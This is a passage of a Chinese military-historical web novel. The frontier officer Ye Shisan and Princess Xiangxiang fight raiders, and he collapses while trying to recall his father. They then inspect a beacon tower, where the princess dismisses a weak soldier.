叶十三冷冷一句,从腰间缓缓抽出了那把残刀。
“弓箭伺候,一个不留。”
叶十三回过头去,目光一扫佩刀已经出鞘了的卫兵们,冷声道:“他们的箭,还给他们带走。”
“遵命!”
卫兵们齐声应答,迅速从后背拿下缴获来的良弓,抽出雁翎箭就搭在弦上。
“杀,一个不留。”
叶十三暴吼一声,双腿一夹马肚就从侧面绕了过去,把正面冲锋让给了卫兵们。
半里路的距离,眨眼就到。
等十几个烤着羊肉的鞑子骑兵们有所察觉时,飞蝗般的箭矢已经到了眼前。
“啊……”
还没来及站起来的几个鞑子,已经被箭簇扎进了眼睛,惨叫一声后就滚落在烤着羊肉的火堆中。
他们万没想到,在此时此地,还有大夏的兵马出现?
火堆后面的几个鞑子骑兵,站起来后还没解开战马的缰绳,就被一阵箭雨射成了刺猬。
有些当场没死的,被围了过来的卫兵们,一阵乱刀就剁成了肉馅。
“该死的东西!”
香香郡主把剑,从一名腿弯被射伤的鞑子骑兵的脖子上拔出来后,又在尸体的棉裤上蹭着剑上的血迹,嘴里持续骂道:“来一个,杀一个,来两个,姑奶奶我杀一双。”
第169章 太子太师
片刻间,战斗结束。
这一战虽小,但迅速快捷。
望着地上早已没了人形的鞑子骑兵尸体,香香郡主把剑插回鞘中,冷声说道:“继续赶路。”
“歼敌一十四人,无战损。”
香香郡主策马来到叶十三身后,张口就是一句。
“赶路!”
叶十三并没有为此再说什么,瓮声一句就径直继续狂奔。
香香郡主吃了个冷脸,把嘴一撇,打马就紧跟了上去。
一口气奔出十来里地,叶十三突然跳下马来。
雪地上脚印杂乱,人脚印和马蹄印子混合在一起。
片刻后,在地上蹲下查看一阵的叶十三,举目望向兔窝堡方向。
“西南方,兔窝堡,火速增援,准备迎敌!”
叶十三大吼一声,飞身上马继续狂奔。
“不是说去狼嚎岭吗?”
香香郡主追了上来,张口就是一问。
“他们绕过了狼嚎岭,直接折返土窝堡。”
叶十三头也没回,又道:“这支兵马,恐怕数量不少昨夜那支。”
昨夜的鞑子兵,骑兵加上步军,已经超过了二百人。
要是这支兵数超过昨夜的,那么应该在三百左右,或者是更多。
香香郡主心头一凛,急道:“这大白天的,也不利于隐蔽,就我们这五十兵数,能狙击敌贼?”
“屁话!”
叶十三转过头来,眼里寒芒爆起,厉声道:“人马再少,也比空手赤拳的百姓强吧?”
“你能否好好说话?”
香香郡主一撇嘴,咬牙又是一句。
“嫌不好听,回去喝茶得了!”
叶十三又甩过来一句,继续说道:“怕死就别来边城,亏你还是监军职,百姓于水火之中难求活命,你们食君之禄,高坐庙堂,却是如此贪生怕死,还有何资格插手镇北王打下的疆域?”
“你果然是镇北王的人?”
香香郡主一张粉脸,已经严霜遍布。
“是又怎样?”
“看来,吕南庭这是要明着和我父亲作对了?”
香香郡主脸上浮起一层悲色,黯然又道:“不然,一个充军奴籍,是如何得以岳佟的庇护?”
叶十三懒得理睬香香郡主的发问,继续打马前行。
“原来!”
香香郡主又道:“太子太师早就勾结镇北王,当初太子谋逆一案,并非空穴来风。”
太子太师?
叶十三心头重重一震。
这个名称,似乎有些熟悉?
太子太师,是教太子习文的老师,从一品官员。
其次就是太子太傅,教太子习武,从一品官员。
还有太子少师,是协助教太子习文,类似于太子太师的助理,正二品官员。
太子少傅,协助教太子习武,从属太子太傅,也是正二品官员。
能被选为太子太师、太子太傅的,一般是德行高尚、人品贵重、学问深厚、名声显赫的君子,许多是朝廷宰辅或重臣之列。
“谁是太子太师?”
叶十三直接勒住马头,目光冷冷看向香香郡主。
“当然是叶伯伯啊!”
香香郡主不假思索,张口就是一答
“叶伯伯?”
叶十三眉头一皱,冷声又道:“他又是何人?”
这一问,差点把香香郡主给惊得掉下马背。
吃惊地望着叶十三片刻,香香郡主不可置信地问道:“当朝太子太师叶铎,你不会不知道吧?”
叶铎?
这个名字,好熟!
“你不会连你的父亲叶铎都忘了吧?”
香香郡主就像看着一个陌生人,吃惊得合不拢嘴。
叶铎?
我的父亲?
当朝太子太师?
“啊……”
叶十三脑仁一阵炸裂的疼痛,不由得松开马缰,双手抱着脑袋栽下马背。
“叶十三,你别吓我?”
看到叶十三突然滚落马背,香香郡主被吓出一身冷汗,跳下马来就把叶十三紧紧抱在怀里。
“你这是,怎么了?”
看到叶十三额头冷汗淋漓,双手抱住两侧的太阳穴浑身直抖,香香郡主急的泪花在目眶中团团打转。
“大人……”
“叶将军……”
后面赶上来的卫兵们,纷纷跳下马来,围在叶十三周围焦急地喊叫起来。
“都怪我,是我刺激了你。”
香香郡主坐在雪地上,把叶十三的脑袋抱在怀里,眼泪就像断了线的珠子,直往叶十三的脸上滚落。
“如果你恨我,那就杀了我,不然你心中的那个结,是永远都解不开了。”
香香郡主自言自语,吓得卫兵们不知道如何是好?
“你若是死了,我也不活了,要死就一起死吧!”
说着,神情悲怆的香香郡主,抱着叶十三站了起来。
“郡主,叶大人怕是劳累过度,得找一处僻静的地方,让大人好好歇息一会?”
一名卫兵壮着胆子,硬起头皮就是一句。
“就是啊郡主,大人拼杀了如此多的鞑子兵,就是个铁人也挺不住啊!”
一名新卒上前,帮香香郡主扶住叶十三站稳了。
“郡主,让小的来背吧?”
新卒看到香香郡主一弯腰,已经把叶十三背了起来。
“前面探路,找一处背风的地方。”
香香郡主怒斥一声,一咬牙就把叶十三背离了地面。
“郡主,让小的们来……”
“都闭嘴,负责警戒!”
香香郡主背起叶十三,在齐膝深的雪地上往前直奔。
不多时,在一处山崖下面,把叶十三放了下来。
望着满脸是汗的香香郡主,一名新卒上前说道:“郡主,您也歇会,让小的们照看大人。”
“要是有一口热水就好了!”
香香郡主望着叶十三皴裂的嘴唇,自己也条件反射般地咽下了一口唾沫。
“干净的雪可以吃的!”
新卒小心翼翼,又是一句谏言。
雪?
香香郡主一怔,像是想起了什么?
望着山崖外面厚厚的积雪,香香郡主从头上拿下头盔,直奔外面兜了一帽碗的雪来。
“把他的头盔卸了!”
香香郡主在自己的头盔帽碗里用手捏着雪团,吩咐身边的新卒把叶十三的头盔给取下来。
照猫画虎!
香香郡主捏着雪团,就像叶十三当初给她用雪搓脚那样,在叶十三两侧的太阳穴上,缓缓地揉搓起来。
“嘶……”
在香香郡主倒吸了一口凉气的时候,一脸雪水的叶十三渐渐清醒了过来。
“我这是?”
“说死了吧!还有一口气,说活着吧!和死人无疑。”
香香郡主面色一寒,把手中搓得半融化了的一把湿淋淋的雪渣,甩在叶十三的两个眼窝里,愤愤地就站了起来在裤子上擦着手。
“大人,您醒了?”
“醒了就好,方才把小的们都吓坏了。”
“郡主背着大人,一路走到这里,才发现这么一处背风的地方。”
“多亏了郡主,把郡主都急哭了。”
“……”
卫兵们七嘴八舌,向叶十三陈述着方才的事情经过。
叶十三心里清楚,前身那哥们,被赵大牛击打过头部的隐疾犯了。
只要进入深度记忆,想回忆些什么?这隐疾就会发作。
说白了,这也是他从前世的现代带来的隐疾。
实弹演习中途休息,猪队友枪支走火击中他的头部……
不行,这哥们的体质太差了。
叶十三突然想起,他在前世现代从秘密机构学来的一些心法。
这些心法,他还没使用过,现在得派上用场了。
通过心法来内外兼修,已经刻不容缓了。
体内的隐疾不除,迟早都是些后患。
叶十三被自己的两名新卒扶了起来后,走到香香郡主面前拱手一礼。
“末将谢过郡主!”
面对叶十三表达的谢意,香香郡主鼻孔“哼”了一声,然后把脸侧向一边。
第170章 你饿吗?
这傻货,还记上仇了?
叶十三面上一红,讪讪笑道:“得赶路了。”
“腿在你身上,谁拦着不让你赶路了?”
香香郡主冷冷一句,然后转身就去骑自己的马。
叶十三强迫自己,尽量不去回想前身经历的那些事。
有些事情,知道得太清楚了,未必是件好事。
暂且,就这样吧!
叶十三在心里安慰自己一句,便奔了过去骑了自己的战马,准备继续赶路。
突然,奔跑了一阵的叶十三,想起他之前勘探过的马蹄印。
不行!
如此下去,说不定会陷入重围?
昨夜刚刚脱险,要是再次被鞑子骑兵拖住,那么对防区的重新部署就来不及了。
咋办?
绕道还是杀个痛快?
看到叶十三忽然驻足不前,跑在最前面的香香郡主勒转马头,回到叶十三身边,皱着眉头道:“又不舒服了?”
“哦,不!”
叶十三摆摆手,沉思道:“眼下情形不明,凡事都是推测,鞑子骑兵采用游击战,目的就是扰乱我军视线,最终目的有可能还是黄羊岘。”
“黄羊岘?”
香香郡主的柳眉倒竖,思忖片刻,道:“如此说来,狼嚎岭和兔窝堡,只是骚扰,黄羊岘才是目标?”
“正是如此!”
叶十三点点头,咬牙道:“突破黄羊岘,东可取通天驿镇,南可拿下西河镇。”
“那样的话,他们的战线不就更长了?”
“问题就在这里。”
叶十三皱起眉头,道:“这条路线,虽然是远了些,但是官道坦途,便于粮草辎重跟进。”
此言一出,香香郡主霎时被惊出一身冷汗。
元蒙鞑子真如叶十三说的那样舍近求远,一定是铁了心大举力图北漠边城,而不是简单的杀人放火。
就是岳佟调拨一万兵马,分出五千给黄羊岘,那也是杯水车薪啊!
“如此来说,我们该如何?”
神情焦急的香香郡主,把问询的目光,重新投向叶十三脸上。
叶十三缓缓抬头,远望片刻,突然暴吼道:“弱马乏马都弃了,缴获的鞑子战马即刻补充进来,目标黄羊岘。”
好在早上饱餐了一顿烤马肉,不然,还真经不起如此的长途跋涉。
五十二匹战马,霎时就奔腾起来。
马蹄扬起一阵雪雾,一路向黄羊岘的方向狂奔起来。
一个时辰后,所有的战马,鼻孔都喷着粗壮的白气。
“大人,如此下去,马会爆肺啊!”
紧跟在叶十三身后的一名新卒,不禁替战马担心起来。
叶十三头都没回一下,怒吼道:“爆肺也得跑,赶多少路算多少路,总比骑兵变步军速度要快多了。”
谁都清楚,如此狂跑下去,战马的肺会炸掉。
军情紧急,谁也不敢再多嘴。
不多时,终于到了黄羊岘地界。
“大人快看?”
前面探路的一名新卒,指着远处积雪飞扬的地方,急道:“前方三里处,有大队人马。”
“箭上弦,刀出鞘,迎敌!”
叶十三一勒缰绳,战马嘶鸣一声前蹄直立起来。
“噌!”
香香郡主长剑出鞘。
“仓啷啷……”
卫兵们也立刻拔出佩刀,齐齐立在胸前。
所有战马,都在雪地上一字排开。
无论是四十五个卫兵,还是五名叶十三的新卒,都做出了拼死一战的架势。
远处战马嘶鸣,卷起地面的积雪,就像一条白色的龙卷风一样袭来。
“退我身后!”
叶十三低吼一声,眼里杀机迸溅。
“不,要死,我也要和你死一起。”
香香郡主一脸倔强,握着长剑的手颤抖个不停。
叶十三知道,她很怕。
其实,叶十三自己也很怕。
但他不知道,他究竟是怕自己战死?
还是怕香香郡主被鞑子兵杀死?
“你是监军,但我是边卒,必须为千里北方线一战到底。”
叶十三尽量把声音压得最低,好让香香郡主体面的退后。
“不,既然来了边城,我决心和你并肩御敌。”
草!
俗话说得好“打虎亲兄弟,上阵父子兵。”
你这个傻白甜,和老子有何关系?
要是那么想死?
当初老子就不该从鞑子窝把你救出来。
就是你被鞑子虐死,那也是殉国,你的老子郑岳嵩脸上,照样有光彩。
“杀!”
叶十三来不及多想,暴吼一声策马就直冲上去。
此时,离对面狂奔过来的马队,已经不足三百步。
“咯吱吱……”
步弓手们,已经把弓拉成了满弦,只等迎面而来的马队进入百步之内的射程。
“混蛋,等等我!”
香香郡主双腿一夹马肚,举剑低头,胯下的战马一声长嘶,旋风一样就追了上去。
“咴咻咻!”
就在叶十三距离迎面冲来的战马不足百步的时候。
对方阵营里忽然有人欢呼起来。
“大人,是叶大人!”
“真的是大人,还有郡主也在。”
“咴咻咻!”
叶十三用力一拽马缰,胯下的战马长嘶一声,前蹄就直立起来,差点把叶十三掀下马背。
“吴六子,狗子,是你们!”
叶十三此时的喊声,几乎是带着颤音。
“大人……”
马还没停稳,吴六子就像猴一样蹿下了马背,几个跳跃就扑到叶十三马前。
“大人……”
满脸是血是吴六子,已经是泣不成声。
“慢慢说!”
叶十三心头重重一震。
看来,情况不妙。
“狗子,你说?”
叶十三把视线,又转移到李狗子身上。
李狗子跳下马背,手里还握着一张已经被拉断了弦的硬弓,哭道:“昨夜突然有鞑子进入岘口,郑一刀教头战死,我等被鞑子骑兵冲散,眼下只剩不足半数兄弟。”
郑一刀战死?
只剩不足半数兄弟?
这么说,屯田村的田兵,还有补充进去的新丁,已经一百多人阵亡?
“烽火台?”
叶十三眼前一黑,差点就一头栽下马背。
“袁彪将军带领北防军,死守烽火台外围,多股鞑子兵从三路进犯我防区。”
“他娘的……”
叶十三暴吼一声,这才顾得上看向百人左右的兵马。
看得出来,这些兵卒都经历了一场拼死的搏杀。
每个人手中的佩刀,都带有不少的崩口,而且脸上都溅有血迹。
每一匹战马,鼻孔都喷着粗气。
“好!”
叶十三回头一望香香郡主,冷声道:“郡主,末将请求杀回黄羊岘?”
“本郡主跟你们一起杀回去!”
香香郡主傲立马上,目光一扫身上革甲破旧,但眼里杀机迸溅的兵卒们,怒吼道:“身为监军,香香愿与大伙血战沙场,马革裹尸又有何惧?”
就在众兵卒高举战刀,勒转马头,只等叶十三一声令下的时候,叶十三凑近香香郡主马前,身子向前一倾,低声道:“你饿吗?”
第171章 损兵折将
“混蛋,谁不饿?”
香香郡主狠剜叶十三一眼,扭过头去不再与叶十三对视。
叶十三转过头来,一扫眼前兵卒们,提高声调吼道:“跟我杀回去,签房大院烤肉吃!”
“杀回去,签房大院烤肉吃!”
众兵卒一下子振奋起来,左手一拉马缰,右手高举战刀,双腿一夹马肚,即刻就按原路狂奔而去。
不到半个时辰,已经到了官道交叉口,地上除了杂乱的马蹄印,放眼四周,竟然无任何人马的踪迹。
奇怪!
激战之地,如何安静得一片死寂?
难道,这黄羊岘防区一带,已经再无活口?
眺目远望,从鹞子岭到黄羊岘烽火台方向,更无狼烟升空。
烽火台,难道?
叶十三一阵茫然,下意识地望了香香郡主一眼。
此时的香香郡主,心里比他还要紧张,只是没有说出来而已。
“吴六子!”
“小的在。”
叶十三一瞥吴六子,道:“敌人退了?”
“不应该啊!”
吴六子挠挠头,又道:“昨夜那般凶猛,不会是闪电一袭,又迅速撤回吧?”
“大人,容小的带人去探?”
李狗子上前,手里已经换了一把卫兵们缴获来的良弓。
“不必了!”
叶十三摆摆手,道,穿过那道坡,斜插前进,先去黄羊岘烽火台。
“不去屯田村了?”
香香郡主打马过来,插嘴就是一句。
“我想看看烽火台。”
叶十三神情无比黯然,似乎有很多心事被勾起。
一个烽火台,在千里防线来说,很是微不足道。
但那是叶十三发迹的地方。
一个底层的烽燧兵,在整个北防军面前,渺小的就如一粒草籽。
“狗子,你打头,带弟兄们探路。”
吴六子暴吼一声,把李狗子支在前面。
“遵命!”
李狗子弓不离手,单手扶着马鞍就跃上马背。
“跟我走!”
李狗子一手拉着马缰,一手扬起手里刚换的良弓,向探马们一挥,率先就冲上了不远处的一道斜坡。
……
半个时辰后,黄羊岘烽火台,已经遥遥在望。
营房如初,没有被烧毁。
依稀看见,有不少的兵卒在活动。
“狗子,弃马步行,注意隐蔽,跟我再探!”
吴六子跳下马来,冲着先到的李狗子低吼一声,然后就像一条沙蛇一样,“之”字形在雪地上向烽火台方向奔去。
叶十三们都下了马,归拢到一处满是骆驼刺丛生地带,暂时隐藏了起来。
时间,在焦急的等待中慢慢逝去。
饥饿的战马,居然啃食起平时看都不看一眼的骆驼刺来。
“不知道那边如何了?”
叶十三的情绪十分低落。
“放心,狗子不是已经去探了吗?”
香香郡主反过来,安慰起了叶十三。
“就是防区失守,本郡主也不会治你的罪!”
香香郡主又是一句。
不等叶十三有所反应,咬牙又道:“真要治罪,本郡主也会上奏朝廷,治岳佟那个老东西的轻敌之罪。”
岳佟没有及时发兵,这笔账,已经被香香郡主在心里记下了。
狼烟升空,车骑大将军居然如此笃定。
害得她和叶十三二人,带着五十卫兵和来犯的鞑子兵鏖战一夜。
虽是胜了,但回想起来,还是让人后怕不已。
要不是叶十三孤身潜入鞑子兵阵营后面奋力砍杀,鞑子骑兵和步军对破庙采取强攻,恐怕他们这些人,生还的几率不堪设想。
“行了!”
叶十三却不以为然,摆手道:“稍有风吹草动,军部就派大军,那还不把军部给耗死?”
“可狼烟都升起了,他还不发兵?”
不服气的香香郡主,冷声又是一句。
她以为,狼烟只要燃起,军部就应该大军出动。
“边城防线,鞑子屡犯,一年之内狼烟不断,军部若是每次都派大军,就粮草辎重,不把朝廷拖垮才怪。”
叶十三一语道破真相,香香郡主这才知道,兵书与实地作战,还是有着很大的变数。
“只有外敌大肆进犯,且有攻城略地的图谋,大军才可布阵迎敌。”
叶十三耐着性子,向这个傻白甜讲了实情。
打仗,打的就是人命和银子。
人口减员,国库消耗,这是任何一个朝代都面临的大问题。
但边关不稳,内乱就会滋生。
这又是历代君王考虑的头等大事。
“喳喳喳……”
就在这时候,坡顶突然传来一阵喜鹊的叫声。
“走,烽火台没有沦陷。”
叶十三几乎是蹦了起来。
“是吴六子?”
香香郡主也听出来了,是吴六子折返回来报信。
“是他!”
叶十三跨上战马,向卫兵们一挥手,又道:“看来,烽火台还在我们的控制中。”
待大家赶到烽火台前,发现方才看到的那些兵士,都是之前袁彪带的那些北防军。
得到讯息的袁彪,急匆匆地从营房出来,没走到叶十三面前,就已经在脏污不堪的雪地上跪了。
“禀叶将军,屯田村失守。”
袁彪单腿跪地,低垂着脑袋,双手供过头顶,连和叶十三目光对视的勇气都没有。
“来犯之敌多少兵马?”
叶十三单刀直入,没问其他。
“禀将军,足有五百骑兵。”
“哦!”
叶十三面颊一抽,淡淡说道:“五百鞑子骑兵,攻破岘口倒也说得过去,却将你的兵马赶出了屯田村,这就有些好笑了。”
守岘口的,是之前徐老六的田兵,还有补充进去的新卒这些。
再是郑一刀厉害,但这些兵数在五百鞑子骑兵面前,简直就是一盘菜被人家切了。
袁彪带着的,那可是北防军的一千常备军。
仗打成这样,真他娘的丢脸。
“将军,末将的一千兵马,补充岘口一百数,现已全部殉国。”
这些战损,叶十三丝毫没有感到意外。
毕竟来犯的鞑子骑兵有五百兵马。
“还有三百兵马,末将布防到野驴滩通往芦河湾村的交界地,对企图进入芦河湾村的鞑子骑兵进行狙击。”
说完,袁彪这才缓缓抬头,目光看向叶十三,又道:“末将手里的六百兵马,在屯田村鏖战半宿后,这才撤回烽火台布防。”
“战损已经明摆着了!”
叶十三抬头看了看,眼前不足三百的北防军,又道:“那么战绩多少还是有一些吧?”
“回禀将军!”
说道战绩,袁彪眼睛一亮,声调也就高了几分。
“岘口歼敌六十七数,光郑一刀一人就杀了敌贼二十六数,其余四十一数,为兵士们所狙杀。”
“小股前往野驴滩方向的敌贼,被末将布防的三百兵马狙杀一十四数,剩下敌贼折返屯田村,与其余大股敌贼汇合,经末将奋力狙杀七十二数,余贼溃败,经岘口逃回元蒙境内。”
“末将怕再生变故,将布防在野驴滩的兵马未动,继续布防。”
“末将又怕烽火台有闪失,留下二百兵马守住岘口,这次退回此地,防止敌贼卷土重来从这边向各村进犯。”
袁彪一口气将经过禀报完毕。
从战术上讲,袁彪的部署还是没什么毛病。
但从作战实力来讲,这些北防军的战斗力,也差得令人咋舌。
元蒙出动了五百骑兵,就让黄羊岘屯田村的兵力折损一半。
这种超过敌人二倍还多的战损,确实让叶十三心痛。
第172章 这诚心是找茬
“走,跟我去烽火台看看?”
叶十三放心不下的,还是烽火台。
“嗯。”
香香郡主点点头,下马后把马缰递给卫兵。
“这就是你初到边城时,值守过的烽火台?”
香香郡主满脸惊奇。
“没错!”
叶十三的脸,霎时就阴沉了下来,又道:“说是值守,其实给我安排的活,就是成天奔忙在野外,寻找用来升烟的狼粪。”
“狼粪好找吗?”
瞪大着眼睛的香香,好奇地又是一句。
“好找个屁!”
一提狼粪,也十三的血就涌了上来,骂道:“只有牧场周围,狼的活动才多一些,除此之外,就要在一些险要地带,寻找狼的栖息地。”
香香郡主略一思忖,抬起头来又道:“要是饲养一些狼,天天给它喂肉吃,岂不是就能攒下很多的狼粪,牛羊不都是饲养着的吗?”
晕!
叶十三一时语塞。
对于这种蠢货,说多了也是浪费唾沫星子。
你以为,狼就像狗一样能饲养?
还喂肉?
老子吃的肉都没有,还让狼吃肉。
真想把你这蠢货,夜里扔外边喂狼。
肚里骂个不停,脚下已经到了烽火台侧面的壕沟。
“快看,是大人?”
在垛口值瞭望哨的张发,突然发现走过来两人,其中一个就是叶十三。
这一声喊,呼啦啦上来几人,手搭在额头一起向下望去。
“快,去打开通道门,真是大人回来了。”
丁威带着颤声,吼了一声,自己也冲下了步梯。
“吱呀呀!”
沉重的木门被打开,涌在通道入口的四人,立即就跪了下来。
“小的们,见过大人。”
望着一张张熟悉的面孔,叶十三也不免有些小激动。
这几个货,都是他最早的班底。
“都愣着干什么?”
叶十三上前两步,然后往侧面一站,把香香郡主让在前面。
“快,见过郡主!”
郡主?
烽燧兵们一愣,难道这就是前几天传说的,从京都来的监军?
“黄羊岘防区烽火台,烽燧兵……见过郡主。”
以丁威为首,张发还有李富贵几个,齐齐就地跪了。
“免礼,起来回话。”
香香郡主傲然挺立,背起双手,美眸一扫眼前几人,淡淡又道:“这次示警及时,给你几个记功一次,该赏!”
说完,香香郡主目光看向叶十三,低声道:“借我点银子?”
草!
又来了。
打赏有瘾啊你?
动不动就耍阔气发赏银,自己兜里毛都没一根,老是刮老子的油。
叶十三气得嘴一咧,不情愿地把手伸进怀里。
摸索半天,才摸出一把碎银。
“就这些了,回头末将给他们再补。”
叶十三把手里的碎银,往丁威手里一塞,沉声道:“即刻起,都盯紧了。”
“谢大人!”
望着手里的银子,丁威笑得脸上都开了花。
“要谢郡主,是郡主赏你们几个的。”
叶十三嘴一撇,向丁威一个眼神。
“小的们,谢过郡主赏赐。”
丁威把银子揣进怀里,拱手又是对香香郡主一礼。
“行了!”
香香郡主肚里骂着叶十三,嘴上还是说道:“银子是不多,也就是个意思,喝顿酒是够了的,等上报军部,朝廷另有嘉奖给你们记功。”
小气鬼!
我就不相信,你怀里只有这些?
抠抠搜搜,能成何大器?
除了给何秀儿打赏时,你掏了一张百两银票外,再给谁大方过?
“郡主请!”
丁威知道,叶十三带香香郡主来烽火台,不光是站这里说几句话。
“郡主小心脚下!”
前面带路的丁威,在前面领路,顺着步梯把香香郡主带上了烽火台顶部。
“叶腊八,还不快快拜见京都来的郡主监军大人!”
丁威俨然一副什长的架势,向顶上值守的叶腊八,介绍着香香郡主。
“黄羊岘烽火台烽燧兵叶腊八,参见监军大人。”
望着叶腊八双膝跪地,低垂着脑袋而不是单膝下跪的军礼,后面跟上来的叶十三顿时眉头一皱。
此时的叶腊八,双肩抖得厉害。
他之前也从其他人嘴里得知,有个叫赵香逸的郡主,来边城督军,行使作战监察一职。
“你也姓叶?”
香香郡主一怔,一瞥双膝跪着的叶腊八,撇嘴道:“抬起头来,让本郡主看看?”
“郡主何等尊贵,小的……”
叶腊八的头,垂得快要触碰在地上。
姓叶?
又是京都口音?
香香郡主似乎更加好奇起来,又道:“免礼,起来回话。”
“谢郡主!”
叶腊八爬了起来,依然低垂着脑袋立在一旁。
“听你口音,像是京都一带人氏?”
香香郡主轻描淡写的一句,叶腊八的双肩,抖得更加厉害了起来。
丢人现眼!
叶十三肚里暗骂一句,为没一点骨气的叶腊八感到一阵悲哀。
他怀疑,香香郡主貌似平常的问话,一定是有目的存在。
斜眼一瞥叶腊八的样子,香香郡主心里,已经明白了几分。
“拉得开硬弓吗?”
说着,香香郡主从背上解下一把硬弓,递向叶腊八。
这支弓,自从昨夜狙击元蒙鞑子兵时,从身边卫兵手里拿来后,就一直带在身上没有归还给卫兵。
“烽燧兵的职责,不但瞭望敌情,点燧升烽,且还要拉得开硬弓才行,你,拉给本郡主看看?”
草!
哪壶不开提哪壶?
叶腊八哪能拉得开硬弓啊!
编入烽燧兵,也就是归拢一下柴火,打个下手而已。
这傻白甜一定是看出门道了?
要当面出叶腊八的丑。
出叶腊八的丑,就等于是打叶十三的脸。
“郡主,那边就是元蒙地界!”
叶十三指着岘口北面,企图岔开话题。
“这个,本郡主知道,前面这道悬崖,一直到岘口,北面都是元蒙境内。”
香香郡主似乎猜到了叶十三的意图。
混蛋!
还给本郡主使障眼法?
你以为,本郡主就这么好糊弄?
今天,本郡主就治治你的这毛病,谁让你混蛋把本郡主不当回事?
“拉呀!”
香香郡主脸色一变,目光又看向丁威,怒道:“这就是你黄羊岘烽火台,烽燧兵中的步弓手?”
“郡主息怒!”
丁威心头一凛,偷瞥叶十三一眼,然后又道:“昨夜全体值守到今,这饭没吃一口,就是小的这个什长,也不一定再能拉得开硬弓啊!”
“哦!”
香香郡主美眸一转,望着一身破旧革甲的叶腊八,缓缓又道:“既然没力气拉弓,这烽火台顶上也不算狭窄,那你就演练一下刀法,给本郡主开开眼?”
刀法?
还演练?
诚心是找茬。
第173章 老子是给你搓脚的?
叶腊八低着头,瞅着自己腰间的一把佩刀。
“练一趟刀法,本郡主想看看烽燧兵的战斗底蕴!”
香香郡主的目光,逐渐变得和脸色一样冰冷。
“拉不开硬弓,那是累了,比画几下刀法,应该不是什么难事吧?”
语气冰冷的香香郡主,紧紧盯着忐忑不安的叶腊八,厉声又是一句。
叶十三老脸一红,讪讪道:“烽燧兵的日常,是以瞭望敌情,点燧升烟为主,至于刀法……”
“够了!”
香香郡主猛然回头,打断叶十三的打岔,厉声道:“军务如此潦草,如何堪当重任?烽火台之重要,本郡主不说你也明白,这是火线,不是后方之地!”
呛白一通后,香香郡主目光又看向羞得无地自容的叶腊八,淡淡说道:“革除你烽燧兵军籍,入田兵流,发配何家大院看守军粮仓库。”
“郡主,监军大人……”
丁威急了,他可是黄羊岘烽火台的什长啊!
再说,就是让叶腊八退出烽燧兵编制,那也是叶十三这个千户来定。
“大人……”
丁威把目光,又看向叶十三。
叶十三面颊一抽,冷声道:“郡主的命令,难道你没听见?”
“是,是,小的遵命!”
叶腊八满头是汗,怯生生地望了香香郡主一眼,满脸羞愧地拱手一礼,急匆匆就往下走。
入田兵流?
发配何家大院看守军粮仓库?
叶十三心里玩味着香香郡主对叶腊八的处罚,总觉得这里面有些不对劲的地方。
“叶将军,本郡主的裁决,你可有意见?”
香香郡主目光冷冷,盯着叶十三的眼睛。
“郡主英明!”
叶十三一阵尴尬,抱拳就向香香郡主略施一礼,讪笑道:“当初人手紧缺,十人编制,只有四人在岗,让叶腊八打个下手,末将也是无奈之举。”
“好了!”
香香郡主摆摆手,继续说道:“你身边新卒卫兵已有十人数,多一人少一人无关紧要,这个缺,就从他们中间顶上一人就可,烽燧兵每班人数,可不能少了。”
“末将遵命!”
叶十三老脸又是一红,紧跟着叶腊八就下了步梯,然后急匆匆出了烽火台。
“闰儿,哥给你丢脸了。”
叶十腊八就像是一个做错了事的孩子,低着头不敢与叶十三的目光对视。
“行了!”
叶十三懊恼地摆摆手,道:“赶快收拾东西,早点回何家大院也好,当个田兵看护军粮仓库,总比这刀口上舔血要安稳多了。”
打发走叶腊八,叶十三这才想起,马成去军部报信还没回来。
他身边,除了仅剩的两个卫兵外,其余的都是划拨给吴六子的十个探马。
这俩卫兵,是使刀的好手。
虽然跟着郑一刀练了没多久的刀法,但悟性却是不差,历练一段时间,可当大用。
补充烽火台,叶十三还真有些舍不得。
其次,就是吴六子带着的十个探马了。
刘二娃?
这货臂力可以,适合舞弄弓箭,但奔跑速度有些强差人意。
好了,就他了。
“刘二娃出列!”
叶十三一声暴吼,吓得探马们浑身一个激灵。
“大人,小的在。”
刘二娃正了正腰间的佩刀,上前两步,在叶十三面前立了。
“二娃!”
叶十三目光,从刘二娃脸上扫过,缓缓说道:“烽火台步弓手配置还有些欠缺,你得顶上去,眼下瞭望哨日夜兼顾,不可有半点懈怠。”
“遵命!”
刘二娃脸上一紧,不带丝毫的犹豫,向叶十三拱手一礼,转身就向烽火台飞奔而去。
望着刘二娃的背影,叶十三像是想起了什么?
郑一刀战死?
哪?
何秀儿岂不成了寡妇?
这个结婚还不足两月的女人,眼下已经没有了可依靠的男人。
叶十三把目光又看向袁彪,道:“沙窝地可曾安然?”
“禀将军!”
袁彪拱手一礼,缓缓说道:“末将当初,就是以沙窝地,营房,烽火台三处为防御重点,有人马在那边驻防。”
“好!”
叶十三点点头,缓缓又道:“眼下敌贼表面上是溃退,但他们的主力,不一定撤退回去。”
说完,叶十三把视线转移到吴六子脸上,沉声道:“你的人,先用饭,今夜务必把那边的情况给摸透了。”
“嗯!”
吴六子点点头,他知道叶十三交代的是什么样的任务。
安排完眼下能想到的事,香香郡主也下了烽火台。
进了营房院子,叶十三才觉得浑身酸困。
“郡主,大人……”
紫伶一见香香郡主,人没走到近前,眼泪珠子先吧嗒吧嗒往下掉。
“行了行了!”
香香郡主扬扬手,疲惫地说道:“赶快烧茶,叶将军都也累了。”
“郡主,茶早都烧好了的。”
两名壮妇,一人提着茶壶,另一人拿着淘洗得热腾腾的巾帕,已经在一旁侯着。
原来,在他们回来后,紫伶和两个壮妇,立即就开始准备。
“郡主,帕子热着的,您先擦擦!”
壮妇扶着香香郡主坐了,急着就给香香郡主擦脸擦手。
一旁的叶十三,此时已经把一大碗热茶灌进了肚里。
“去,做些吃的,填肚子比啥都重要。”
香香郡主接过巾帕,自己擦拭起手脸,指使下人们赶快准备饭食。
待紫伶和两个壮妇退下,香香郡主这才一伸双腿,望着脚上脏污不堪的两只鹿皮靴子,撇嘴道:“我真想让你再搓一次脚。”
尼玛!
还上瘾了?
老子是给你搓脚的?
上次,那是怕你的那蹄子给冻掉,这才低三下四给一个女人搓脚。
你当老子是宫里那些被阉割了玩意儿的太监不成?
专门侍奉你泡脚捏腿的!
不过,那脚还真美,白得就像玉雕的一样,光滑细嫩不说,而且造型真是无可挑剔。
叶十三心里咒骂一阵,又是痒痒一阵,最终一撇嘴,冷声道:“饭后,回你屋让紫伶好好给你泡泡,如此乏困之时,热水泡泡还真舒服。”
嘴上是这样说着,但脑子里,满满都是香香郡主那只白嫩柔软的纤纤玉足。
“你也应该泡泡,赶了这么多路,说不定早都在靴子里给捂烂了。”
